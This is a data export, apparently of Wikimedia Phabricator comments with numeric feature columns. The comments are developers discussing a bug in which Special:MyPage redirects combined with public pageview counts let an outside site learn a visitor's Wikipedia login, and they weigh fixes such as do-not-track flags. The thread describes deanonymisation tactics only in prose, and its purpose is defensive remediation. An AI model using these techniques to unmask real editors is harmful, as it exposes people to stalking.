",,,1442053860,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,2.0,0.0,0.0,1.0,0.0,5.5,1.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,6.5,11.5,0.0,2.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,4.5,1.0,2.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.5,0.0,1.0,0.0,1.5,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,1.5,10.0,2.0,1.0,3.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.5,11.5,5.5,0.0,0.0,0.0,4.5,0.0,2.0,1.0,0.0,1.5,1.5,0.0,0.0,4.26923076923077,0.7769230769230769,"For reference, there's also similar issues with

* Special:MyTalk
* Special:MyContributions  (redirects to Special:Contributions/Username)
* Special:MyUploads
* Special:AllMyUploads

In theory (albeit probably much more difficult to actually exploit), you could use Special:MyLanguage to narrow down which language the user has set in pref, and maybe from there figure out who's visiting your website if you have a small set of potential visitors, who all speak different languages. It should be noted, that its probably much more important to track visiting stats of the target of Special:MyLanguage, then it is for other redirect specials)
"
525837,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"
> Wait, that sounds like you're talking about a query parameter called dnt=1.  I was talking about adding that to the X-Analytics header of the response, as you did in your patch, but ignoring whether or not the target of the redirect exists as a user page.  That seems like it would solve the more specific targeted attack you were worried about.

How do you distinguish between someone getting to the user page via Special:Mypage, and someone visiting the user page directly. Presumably we still want to track user page statistics generally and just exclude Special:Mypage based visits.

",,,1442051364,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,9.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,9.0,6.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,4.553191489361702,0.723404255319149,"
QUOTE

How do you distinguish between someone getting to the user page via Special:Mypage, and someone visiting the user page directly. Presumably we still want to track user page statistics generally and just exclude Special:Mypage based visits.

"
525681,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1632190, @csteipp wrote:
>>>! In T109724#1630521, @Milimetric wrote:
>> I have to ask, why not just dnt=1 all the redirects to User:<<...>> from Special:MyPage?  We could still get basic stats on the original Special:MyPage that caused the redirect, without leaking any personal info.  And it seems safer and easier to implement.  Unless we care for some reason about invididual stats of those personalized redirects, it seems safer to just dnt regardless of user page existence.
> 
> It seems more fragile to me. If some other extension happens to add a query parameter 'dnt' to a special page, then we could accidentally lose page hits.
> 
> That said, I'll try to get a patch for that soon. I think it should be trivial.

Wait, that sounds like you're talking about a query parameter called dnt=1.  I was talking about adding that to the X-Analytics header of the response, as you did in your patch, but ignoring whether or not the target of the redirect exists as a user page.  That seems like it would solve the more specific targeted attack you were worried about.

By the way, maybe this thread is too confusing now and we should meet on hangout?  It might help speed up the fix.  I'm available anytime for that.",,,1442009274,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.5,4.5,1.5,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,2.0,0.0,4.5,10.5,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,4.5,0.0,1.5,0.5,2.5,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.5,10.0,2.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,9.0,1.0,2.0,9.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,6.0,10.5,4.5,1.0,0.0,0.0,6.0,0.0,0.0,1.5,0.0,2.0,1.0,0.0,0.0,3.6885245901639347,0.7704918032786885,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Wait, that sounds like you're talking about a query parameter called dnt=1.  I was talking about adding that to the X-Analytics header of the response, as you did in your patch, but ignoring whether or not the target of the redirect exists as a user page.  That seems like it would solve the more specific targeted attack you were worried about.

By the way, maybe this thread is too confusing now and we should meet on hangout?  It might help speed up the fix.  I'm available anytime for that."
525543,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1630521, @Milimetric wrote:
> I have to ask, why not just dnt=1 all the redirects to User:<<...>> from Special:MyPage?  We could still get basic stats on the original Special:MyPage that caused the redirect, without leaking any personal info.  And it seems safer and easier to implement.  Unless we care for some reason about invididual stats of those personalized redirects, it seems safer to just dnt regardless of user page existence.

It seems more fragile to me. If some other extension happens to add a query parameter 'dnt' to a special page, then we could accidentally lose page hits.

That said, I'll try to get a patch for that soon. I think it should be trivial.",,,1442001756,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,7.0,0.0,7.0,10.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,2.0,3.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,12.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,3.457627118644068,0.7627118644067796,"QUOTE
QUOTE

It seems more fragile to me. If some other extension happens to add a query parameter 'dnt' to a special page, then we could accidentally lose page hits.

That said, I'll try to get a patch for that soon. I think it should be trivial."
525225,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"I have to ask, why not just dnt=1 all the redirects to User:<<...>> from Special:MyPage?  We could still get basic stats on the original Special:MyPage that caused the redirect, without leaking any personal info.  And it seems safer and easier to implement.  Unless we care for some reason about invididual stats of those personalized redirects, it seems safer to just dnt regardless of user page existence.",,,1441980961,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,3.0,0.0,0.0,0.0,1.0,8.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,14.0,0.0,3.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,5.0,1.0,2.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,14.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,10.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,14.0,3.0,1.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,1.0,3.0,0.0,3.0,3.9767441860465116,0.7209302325581395,"I have to ask, why not just dnt=1 all the redirects to User:<<...>> from Special:MyPage?  We could still get basic stats on the original Special:MyPage that caused the redirect, without leaking any personal info.  And it seems safer and easier to implement.  Unless we care for some reason about invididual stats of those personalized redirects, it seems safer to just dnt regardless of user page existence."
524979,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1628569, @csteipp wrote:
> {F2566555}
> 
> Simple patch to add dnt=1 into x-analytics for User / User_talk namespace pages that don't exist.
> 
> An attacker can still send the user to just Special:MyPage on a wiki where they hope the user has created their userpage, and that might narrow down the user to a set of potential users. But that would only work for very targeted attacks, and I'm not sure if that's in the same category of adding a clearly wrong reference in an article to a site you own, log the IP's referred from the wiki, and then watching which account deletes it on wiki.

It's good because it is simple and remove a class of attack. It's far better than the current way. I'm concerned that it doesn't remove all the attack. And more targeted attack are on valuables target, not random one. There is a difference with the other scenario is that the other scenario needs an active action from the user. ",,,1441951434,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,1.0,0.0,0.0,0.0,2.0,11.0,4.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,14.0,4.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,6.0,10.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,3.7901234567901234,0.6419753086419753,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It's good because it is simple and remove a class of attack. It's far better than the current way. I'm concerned that it doesn't remove all the attack. And more targeted attack are on valuables target, not random one. There is a difference with the other scenario is that the other scenario needs an active action from the user. "
524965,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1628569, @csteipp wrote:
> {F2566555}
> 
> Simple patch to add dnt=1 into x-analytics for User / User_talk namespace pages that don't exist.
> 
> An attacker can still send the user to just Special:MyPage on a wiki where they hope the user has created their userpage, and that might narrow down the user to a set of potential users. But that would only work for very targeted attacks, and I'm not sure if that's in the same category of adding a clearly wrong reference in an article to a site you own, log the IP's referred from the wiki, and then watching which account deletes it on wiki.

I'd be concerned about a targeted attack to try to out a specific user's identity (or rough geographic location). Its not unheard of for prominent Wikipedians to get stalked.",,,1441945152,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,15.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,19.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,15.0,13.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.893617021276596,0.723404255319149,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I'd be concerned about a targeted attack to try to out a specific user's identity (or rough geographic location). Its not unheard of for prominent Wikipedians to get stalked."
524825,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"{F2566555}

Simple patch to add dnt=1 into x-analytics for User / User_talk namespace pages that don't exist.

An attacker can still send the user to just Special:MyPage on a wiki where they hope the user has created their userpage, and that might narrow down the user to a set of potential users. But that would only work for very targeted attacks, and I'm not sure if that's in the same category of adding a clearly wrong reference in an article to a site you own, log the IP's referred from the wiki, and then watching which account deletes it on wiki.",,,1441923285,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,1.0,0.0,1.5,4.0,0.0,0.0,0.0,1.0,1.5,1.5,0.0,1.0,0.0,1.0,0.0,6.5,11.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,5.0,0.5,1.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,14.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,2.0,0.0,0.0,2.0,0.0,0.0,0.5,0.5,0.0,8.0,0.0,6.0,1.5,3.0,11.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,3.5,11.0,3.0,0.0,0.0,0.0,3.5,0.0,2.0,4.0,0.0,1.5,0.0,0.0,0.0,3.8083333333333336,0.825,"{F2566555}

Simple patch to add dnt=1 into x-analytics for User / User_talk namespace pages that don't exist.

An attacker can still send the user to just Special:MyPage on a wiki where they hope the user has created their userpage, and that might narrow down the user to a set of potential users. But that would only work for very targeted attacks, and I'm not sure if that's in the same category of adding a clearly wrong reference in an article to a site you own, log the IP's referred from the wiki, and then watching which account deletes it on wiki."
524475,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1619307, @Bawolff wrote:
> From a MediaWiki code prespective, to do what you're referring to as a ""soft redirect"", we would have to add a special case to MediaWiki::initializeArticle (or use the InitializeArticleMaybeRedirect hook). It would be much cleaner to just make special:mypage add a url paramter to the page it redirects to, and set mediawiki to add the dnt header on detection of that url parameter (if we're worried about people forging the header, it could be hashed with some secret/time sensitive or something). However, this would look less elegant to the user (And I'm unclear how it would interact with varnish cache. Presumably we would only send the header if the user is logged in, and then that would be less of a concern. There's also the issue about if varnish would override the header that csteipp is talking about, which I have no idea about)

The solution of an url parameter looks working. What I like in it is it's implementation simplicity (as far as I understand  it) which means less bug. The need of elegance for the user should be pounder as the uses of Special:MyPage are pretty rare and we are speaking of a url that a lots of final user know very few  if any about.

>>! In T109724#1622649, @csteipp wrote:
>> Otherwise, I guess we could save a cookie in the outbound redirect in step 5, then detect the cookie, set the header, and delete the cookie in step 6. It could be known as the ""DNT this redirect cookie""
> 
> That is possible. Again seems a like a hack, but maybe less than a url param.

This solution looks more brittle than the url param one as the cookies are set and deleted from different request and nothing prevent a race condition which could be happen by launching several request in close time.",,,1441903273,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,2.5,0.0,1.0,1.0,0.0,6.0,0.5,0.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,1.5,0.0,3.0,10.5,1.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,8.0,2.0,1.5,0.0,0.0,0.0,0.5,1.0,1.5,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,14.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,3.5,8.5,1.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,3.0,10.5,2.0,0.0,0.0,0.0,3.0,0.0,2.5,2.5,0.0,2.0,1.5,0.0,0.0,3.9133384536610345,0.8000512032770097,"QUOTE
QUOTE

The solution of an url parameter looks working. What I like in it is it's implementation simplicity (as far as I understand  it) which means less bug. The need of elegance for the user should be pounder as the uses of Special:MyPage are pretty rare and we are speaking of a url that a lots of final user know very few  if any about.

QUOTE
QUOTE
QUOTE
QUOTE

This solution looks more brittle than the url param one as the cookies are set and deleted from different request and nothing prevent a race condition which could be happen by launching several request in close time."
524382,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"> So if we set a DNT=1 in the X-Analytics header of the response in step 8, can the code that converts webrequests to pageviews be updated to respect that an drop the count from pageviews?


Yes, definitely, I'll get a patch ready as soon as you decide to do this.  I double checked with Andrew and we agree that makes sense, because the request is not logged by varnishkafka until the response is being sent out (so we have the response code, time to first byte, etc.)",,,1441899116,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,5.0,2.0,3.0,0.0,2.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,6.0,0.0,8.0,12.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,5.0,0.0,2.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,6.0,5.0,8.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,8.0,12.0,3.0,0.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,3.6153846153846154,0.8,"QUOTE


Yes, definitely, I'll get a patch ready as soon as you decide to do this.  I double checked with Andrew and we agree that makes sense, because the request is not logged by varnishkafka until the response is being sent out (so we have the response code, time to first byte, etc.)"
523805,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"> is it possible to change the GET in step 6. in Chris's diagram?

Since this is a full http redirect, we don't control any of the code actually making the redirect. We just tell the browser where to go next. We could possible add a parameter to the request, so the browser does a GET for en.wikipedia.org/wiki/User:Foo/THISDOESNOTEXIST?dnt=1. But that seems hacky to me.

> Otherwise, I guess we could save a cookie in the outbound redirect in step 5, then detect the cookie, set the header, and delete the cookie in step 6. It could be known as the ""DNT this redirect cookie""

That is possible. Again seems a like a hack, but maybe less than a url param.

Looking at https://wikitech.wikimedia.org/wiki/Analytics/Data/Webrequest again, it lists,

```
x_analytics         	string              	X-Analytics header of response
```

So if we set a DNT=1 in the X-Analytics header of the response in step 8, can the code that converts webrequests to pageviews be updated to respect that an drop the count from pageviews?",,,1441834786,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,9,True,0.5,0.0,0.0,0.5,0.5,3.5,1.0,0.0,0.0,0.5,1.5,0.5,0.0,0.0,0.0,2.5,0.0,5.5,11.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.5,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,18.0,1.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,10.5,1.5,9.5,3.0,1.0,12.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,3.5,11.5,0.0,0.5,0.0,0.0,3.5,0.0,1.0,5.0,0.5,1.0,0.5,0.0,0.0,3.860294117647059,0.7058823529411765,"QUOTE

Since this is a full http redirect, we don't control any of the code actually making the redirect. We just tell the browser where to go next. We could possible add a parameter to the request, so the browser does a GET for en.wikipedia.org/wiki/User:Foo/THISDOESNOTEXIST?dnt=1. But that seems hacky to me.

QUOTE

That is possible. Again seems a like a hack, but maybe less than a url param.

Looking at URL again, it lists,

``CODE``

So if we set a DNT=1 in the X-Analytics header of the response in step 8, can the code that converts webrequests to pageviews be updated to respect that an drop the count from pageviews?"
523804,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"
>  is it possible to change the GET in step 6. in Chris's diagram?

Since this is a full http redirect, we don't control any of the code actually making the redirect. We just tell the browser where to go next. We could possible add a parameter to the request, so the browser does a GET for en.wikipedia.org/wiki/User:Foo/THISDOESNOTEXIST?dnt=1. But that seems hacky to me.

> Otherwise, I guess we could save a cookie in the outbound redirect in step 5, then detect the cookie, set the header, and delete the cookie in step 6. It could be known as the ""DNT this redirect cookie""

That is possible. Again seems a like a hack, but maybe less than a url param.

Looking at https://wikitech.wikimedia.org/wiki/Analytics/Data/Webrequest again, it lists,

```
x_analytics         	string              	X-Analytics header of response
```

So if we set a DNT=1 in the X-Analytics header of the response in step 8, can the code that converts webrequests to pageviews be updated to respect that an drop the count from pageviews?",,,1441834771,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,9,True,0.5,0.0,0.0,0.5,0.5,3.5,1.0,0.0,0.0,0.5,1.5,0.5,0.0,0.0,0.0,2.5,0.0,5.5,11.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.5,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,18.0,1.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,10.5,1.5,9.5,3.0,1.0,12.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,3.5,11.5,0.0,0.5,0.0,0.0,3.5,0.0,1.0,5.0,0.5,1.0,0.5,0.0,0.0,3.835997442455243,0.7082267689684569,"
QUOTE

Since this is a full http redirect, we don't control any of the code actually making the redirect. We just tell the browser where to go next. We could possible add a parameter to the request, so the browser does a GET for en.wikipedia.org/wiki/User:Foo/THISDOESNOTEXIST?dnt=1. But that seems hacky to me.

QUOTE

That is possible. Again seems a like a hack, but maybe less than a url param.

Looking at URL again, it lists,

``CODE``

So if we set a DNT=1 in the X-Analytics header of the response in step 8, can the code that converts webrequests to pageviews be updated to respect that an drop the count from pageviews?"
523623,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"That diagram helps me understand this Sooo much better.  Thanks very much @csteipp.  So, @Bawolff, is it possible to change the GET in step 6. in Chris's diagram?  If we have access to the code that follows that redirect, then let's make the change there.  Otherwise, I guess we could save a cookie in the outbound redirect in step 5, then detect the cookie, set the header, and delete the cookie in step 6.  It could be known as the ""DNT this redirect cookie""",,,1441820744,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0.5,0.0,0.5,1.0,0.0,2.5,0.0,0.0,0.0,0.5,6.0,0.0,0.0,0.0,0.0,3.0,0.0,5.5,6.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,2.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,12.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,7.5,1.5,8.0,0.5,1.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,2.5,0.0,5.0,6.5,3.0,0.5,2.0,0.0,5.0,0.0,0.5,1.0,0.5,0.0,0.5,0.0,0.0,3.6460449927431062,0.704100145137881,"That diagram helps me understand this Sooo much better.  Thanks very muchSCREEN_NAME.  So,SCREEN_NAME, is it possible to change the GET in step 6. in Chris's diagram?  If we have access to the code that follows that redirect, then let's make the change there.  Otherwise, I guess we could save a cookie in the outbound redirect in step 5, then detect the cookie, set the header, and delete the cookie in step 6.  It could be known as the ""DNT this redirect cookie"""
523203,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1617473, @xcombelle wrote:
> @csteipp or somebody else: Could a developer of mediawiki be involved for analysis of my ""soft"" redirect solution ?
> 
> As I understand,  for the moment, mainly analytics persons are involved 
> and they envision the problem in filtering the log because don't modify the mediawiki product (see for example https://phabricator.wikimedia.org/T109724#1602558  )
> but in my opinion the best way to solve it, if doable,   is to not making the request so nothing appear in the log.
> 
> It is the idea of ""soft"" redirect from [[Special:MyPage]] kind of pages to  [[User:Xavier Combelle]] likes.
> By ""soft"" redirect I called something similar of what happen when redirecting [[UK]] to [[United Kindom]] which doesn't do a round-trip to the server
> 
> I exposed this idea in these comments (https://phabricator.wikimedia.org/T109724#1601249 https://phabricator.wikimedia.org/T109724#1610437)

From a MediaWiki code prespective, to do what you're referring to as a ""soft redirect"", we would have to add a special case to MediaWiki::initializeArticle (or use the InitializeArticleMaybeRedirect hook). It would be much cleaner to just make special:mypage add a url paramter to the page it redirects to, and set mediawiki to add the dnt header on detection of that url parameter (if we're worried about people forging the header, it could be hashed with some secret/time sensitive or something). However, this would look less elegant to the user (And I'm unclear how it would interact with varnish cache. Presumably we would only send the header if the user is logged in, and then that would be less of a concern. There's also the issue about if varnish would override the header that csteipp is talking about, which I have no idea about)",,,1441775066,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,9,True,1.0,0.5,0.0,1.0,0.0,5.5,1.0,0.0,0.0,1.5,1.5,1.5,0.0,0.5,0.5,2.5,0.0,4.5,12.0,0.5,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,3.5,0.5,4.0,0.0,2.0,1.5,0.5,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,14.0,1.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.5,0.5,0.0,0.5,0.0,0.0,7.0,2.5,11.0,2.0,2.5,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,12.0,6.5,0.0,1.0,0.0,5.0,0.0,2.0,2.5,0.0,1.5,1.5,0.0,0.0,3.9635953608247423,0.627147766323024,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

From a MediaWiki code prespective, to do what you're referring to as a ""soft redirect"", we would have to add a special case to MediaWiki::initializeArticle (or use the InitializeArticleMaybeRedirect hook). It would be much cleaner to just make special:mypage add a url paramter to the page it redirects to, and set mediawiki to add the dnt header on detection of that url parameter (if we're worried about people forging the header, it could be hashed with some secret/time sensitive or something). However, this would look less elegant to the user (And I'm unclear how it would interact with varnish cache. Presumably we would only send the header if the user is logged in, and then that would be less of a concern. There's also the issue about if varnish would override the header that csteipp is talking about, which I have no idea about)"
523083,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@Milimetric,

{F2559476}

",,,1441754884,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.8571428571428571,"SCREEN_NAME,

{F2559476}

"
523014,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@csteipp: I'm sorry I'm having a hard time responding because I'm not understanding the request and response lifecycle of the bug here.  I think if someone could draw up a timeline of how different clients (with or without javascript) interact with varnish and the app servers (in the case of cache hits or misses) and the lifecycle of redirects, that would clear this issue right up.  I could annotate such a timeline with where we can change code so varnishkafka can see it.",,,1441748156,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,9,True,0.0,1.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,6.0,2.0,7.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,1.0,4.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,1.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,6.0,4.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.092783505154639,0.6907216494845361,"SCREEN_NAME: I'm sorry I'm having a hard time responding because I'm not understanding the request and response lifecycle of the bug here.  I think if someone could draw up a timeline of how different clients (with or without javascript) interact with varnish and the app servers (in the case of cache hits or misses) and the lifecycle of redirects, that would clear this issue right up.  I could annotate 